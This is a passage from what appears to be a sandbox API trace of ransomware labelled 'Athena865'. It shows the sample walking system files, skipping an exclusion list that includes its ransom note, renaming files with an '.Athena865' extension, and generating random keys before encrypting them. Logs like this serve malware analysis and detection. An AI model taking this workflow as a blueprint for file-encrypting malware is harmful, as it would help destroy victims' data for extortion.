Size=0x80) returned 0x54ec38 [0118.443] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.444] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.444] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.444] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x72300, lpName=0x0) returned 0x17c [0118.445] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x72300) returned 0x2d50000 [0118.460] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.460] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.460] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.461] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0118.465] CloseHandle (hObject=0x17c) returned 1 [0118.465] CloseHandle (hObject=0x154) returned 1 [0118.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.467] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2=".") returned 1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="..") returned 1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="windows") returned -1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="bootmgr") returned 1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="temp") returned -1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="pagefile.sys") returned -1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="boot") returned 1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="ids.txt") returned 1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="ntuser.dat") returned -1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="perflogs") returned -1 [0118.467] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="MSBuild") returned -1 [0118.467] lstrlenW (lpString="msadomd28.tlb") returned 13 [0118.468] lstrcpyW (in: lpString1=0x241e89a, lpString2="msadomd28.tlb" | out: lpString1="msadomd28.tlb") returned="msadomd28.tlb" [0118.468] lstrlenW (lpString="msadomd28.tlb") returned 13 [0118.468] lstrlenW (lpString="Athena865") returned 9 [0118.468] lstrcmpiW (lpString1="omd28.tlb", lpString2="Athena865") returned 1 [0118.468] lstrlenW (lpString=".dll") returned 4 [0118.468] lstrcmpiW (lpString1="msadomd28.tlb", lpString2=".dll") returned 1 [0118.468] lstrlenW (lpString=".lnk") returned 4 [0118.468] lstrcmpiW (lpString1="msadomd28.tlb", lpString2=".lnk") returned 1 [0118.468] lstrlenW (lpString=".ini") returned 4 [0118.468] lstrcmpiW (lpString1="msadomd28.tlb", lpString2=".ini") returned 1 [0118.468] lstrlenW (lpString=".sys") returned 4 [0118.468] lstrcmpiW (lpString1="msadomd28.tlb", lpString2=".sys") returned 1 [0118.468] lstrlenW (lpString="msadomd28.tlb") returned 13 [0118.468] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.Athena865") returned 64 [0118.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.athena865"), dwFlags=0x1) returned 1 [0118.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.470] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20480) returned 1 [0118.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.470] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.471] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.471] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.471] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5300, lpName=0x0) returned 0x17c [0118.472] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5300) returned 0x100000 [0118.474] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.474] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.474] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.475] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.475] CloseHandle (hObject=0x17c) returned 1 [0118.475] CloseHandle (hObject=0x154) returned 1 [0118.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.476] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2=".") returned 1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="..") returned 1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="windows") returned -1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="bootmgr") returned 1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="temp") returned -1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="pagefile.sys") returned -1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="boot") returned 1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="ids.txt") returned 1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="ntuser.dat") returned -1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="perflogs") returned -1 [0118.476] lstrcmpiW (lpString1="msador15.dll", lpString2="MSBuild") returned -1 [0118.476] lstrlenW (lpString="msador15.dll") returned 12 [0118.476] lstrcpyW (in: lpString1=0x241e89a, lpString2="msador15.dll" | out: lpString1="msador15.dll") returned="msador15.dll" [0118.476] lstrlenW (lpString="msador15.dll") returned 12 [0118.476] lstrlenW (lpString="Athena865") returned 9 [0118.476] lstrcmpiW (lpString1="dor15.dll", lpString2="Athena865") returned 1 [0118.477] lstrlenW (lpString=".dll") returned 4 [0118.477] lstrcmpiW (lpString1="msador15.dll", lpString2=".dll") returned 1 [0118.477] lstrlenW (lpString=".lnk") returned 4 [0118.477] lstrcmpiW (lpString1="msador15.dll", lpString2=".lnk") returned 1 [0118.477] lstrlenW (lpString=".ini") returned 4 [0118.477] lstrcmpiW (lpString1="msador15.dll", lpString2=".ini") returned 1 [0118.477] lstrlenW (lpString=".sys") returned 4 [0118.477] lstrcmpiW (lpString1="msador15.dll", lpString2=".sys") returned 1 [0118.477] lstrlenW (lpString="msador15.dll") returned 12 [0118.477] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.Athena865") returned 63 [0118.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.athena865"), dwFlags=0x1) returned 1 [0118.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.478] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61440) returned 1 [0118.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.478] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.479] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.479] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.479] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf300, lpName=0x0) returned 0x17c [0118.481] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf300) returned 0x100000 [0118.483] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.484] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.484] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.485] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.485] CloseHandle (hObject=0x17c) returned 1 [0118.485] CloseHandle (hObject=0x154) returned 1 [0118.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.486] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2=".") returned 1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="..") returned 1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="windows") returned -1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="bootmgr") returned 1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="temp") returned -1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="pagefile.sys") returned -1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="boot") returned 1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="ids.txt") returned 1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="ntuser.dat") returned -1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="perflogs") returned -1 [0118.486] lstrcmpiW (lpString1="msadox.dll", lpString2="MSBuild") returned -1 [0118.486] lstrlenW (lpString="msadox.dll") returned 10 [0118.486] lstrcpyW (in: lpString1=0x241e89a, lpString2="msadox.dll" | out: lpString1="msadox.dll") returned="msadox.dll" [0118.486] lstrlenW (lpString="msadox.dll") returned 10 [0118.486] lstrlenW (lpString="Athena865") returned 9 [0118.487] lstrcmpiW (lpString1="sadox.dll", lpString2="Athena865") returned 1 [0118.487] lstrlenW (lpString=".dll") returned 4 [0118.487] lstrcmpiW (lpString1="msadox.dll", lpString2=".dll") returned 1 [0118.487] lstrlenW (lpString=".lnk") returned 4 [0118.487] lstrcmpiW (lpString1="msadox.dll", lpString2=".lnk") returned 1 [0118.487] lstrlenW (lpString=".ini") returned 4 [0118.487] lstrcmpiW (lpString1="msadox.dll", lpString2=".ini") returned 1 [0118.487] lstrlenW (lpString=".sys") returned 4 [0118.487] lstrcmpiW (lpString1="msadox.dll", lpString2=".sys") returned 1 [0118.487] lstrlenW (lpString="msadox.dll") returned 10 [0118.487] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.Athena865") returned 61 [0118.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.athena865"), dwFlags=0x1) returned 1 [0118.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msadox.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.488] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=495616) returned 1 [0118.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.488] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.489] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.489] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.489] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x79300, lpName=0x0) returned 0x17c [0118.490] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x79300) returned 0x2d50000 [0118.506] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.506] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.506] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.507] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0118.511] CloseHandle (hObject=0x17c) returned 1 [0118.511] CloseHandle (hObject=0x154) returned 1 [0118.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.513] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0118.513] lstrcmpiW (lpString1="msadox28.tlb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.513] lstrcmpiW (lpString1="msadox28.tlb", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2=".") returned 1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2="..") returned 1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2="windows") returned -1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2="bootmgr") returned 1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2="temp") returned -1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2="pagefile.sys") returned -1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2="boot") returned 1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2="ids.txt") returned 1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2="ntuser.dat") returned -1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2="perflogs") returned -1 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2="MSBuild") returned -1 [0118.514] lstrlenW (lpString="msadox28.tlb") returned 12 [0118.514] lstrcpyW (in: lpString1=0x241e89a, lpString2="msadox28.tlb" | out: lpString1="msadox28.tlb") returned="msadox28.tlb" [0118.514] lstrlenW (lpString="msadox28.tlb") returned 12 [0118.514] lstrlenW (lpString="Athena865") returned 9 [0118.514] lstrcmpiW (lpString1="dox28.tlb", lpString2="Athena865") returned 1 [0118.514] lstrlenW (lpString=".dll") returned 4 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2=".dll") returned 1 [0118.514] lstrlenW (lpString=".lnk") returned 4 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2=".lnk") returned 1 [0118.514] lstrlenW (lpString=".ini") returned 4 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2=".ini") returned 1 [0118.514] lstrlenW (lpString=".sys") returned 4 [0118.514] lstrcmpiW (lpString1="msadox28.tlb", lpString2=".sys") returned 1 [0118.514] lstrlenW (lpString="msadox28.tlb") returned 12 [0118.514] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.Athena865") returned 63 [0118.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.athena865"), dwFlags=0x1) returned 1 [0118.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.516] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28672) returned 1 [0118.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.516] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.517] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.517] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.517] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7300, lpName=0x0) returned 0x17c [0118.518] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7300) returned 